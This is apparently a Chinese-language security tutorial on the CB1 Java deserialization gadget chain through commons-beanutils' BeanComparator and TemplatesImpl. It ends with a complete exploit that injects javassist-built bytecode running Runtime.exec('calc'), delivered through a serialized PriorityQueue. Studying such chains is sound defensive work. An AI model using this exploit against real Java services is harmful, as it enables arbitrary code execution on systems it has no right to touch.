前文:【Web】Java反序列化之CC2——commons-collections4的新链之一
目录
关于commons-beanutils
关于PropertyUtils.getProperty
TemplatesImpl实例化类的调用链路
TemplatesImpl#getOutputProperties竟是getter方法
接轨TemplatesImpl链的关键类——BeanComparator
exp
关于commons-beanutils
Apache Commons BeanUtils 是 Apache 软件基金会下的一个开源项目,提供了一组工具方法,用于简化 Java 对象(Bean aka POJO)之间的属性拷贝、类型转换等操作。
关于PropertyUtils.getProperty
PropertyUtils.getProperty 是 Apache Commons BeanUtils 提供的一个方法,用于获取 JavaBean 对象的属性值。该方法会自动去调用一个JavaBean的getter方法。
代码示例:
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Main {
public static void main(String[] args) {
// 创建一个示例对象
Person person = new Person("Alice", 25);
try {
// 获取属性值
String name = (String) PropertyUtils.getProperty(person, "name");
int age = (int) PropertyUtils.getProperty(person, "age");
System.out.println("Name: " + name);
System.out.println("Age: " + age);
} catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
e.printStackTrace();
}
}
}
class Person {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
// 省略 getter 和 setter 方法
}
TemplatesImpl实例化类的调用链路
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
我们的最终目的是走到defineClass这一步,但只要可以调用这条链上的任一方法就可以触发连锁反应,最后达成目的
而CB1链,正是通过getOutputProperties的调用来完成攻击的
TemplatesImpl#getOutputProperties竟是getter方法
意料之外,情理之中
outputProperties是一个私有属性
private Properties _outputProperties;
重写了getter方法
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
算是一个比较抽象的bean(
接轨TemplatesImpl链的关键类——BeanComparator
反序列化的入口类是PriorityQueue,其readObject方法最终会调用传入comparator的compare方法(具体分析可以看文章一开始贴的链接)
下面我们来看BeanComparator的compare方法
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取传入的两个对象的 this.property 属性,而this.property是在BeanComparator的构造方法处传入的(也可以用反射来操作),完全可控
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
当o1/o2是一个 TemplatesImpl 对象时,property 的值为 outputProperties 时,我们就可调用TemplatesImpl#getOutputProperties(),完成攻击链的调用
观察PriorityQueue的构造方法
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}
我们可以用反射操作PriorityQueue的queue属性为TemplatesImpl 对象的方式来实现目的。
exp
这里用的是javassist来获取字节码
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
召唤计算器的神奇咒语:
package com.CB1;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CB1");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode();
Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "test");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}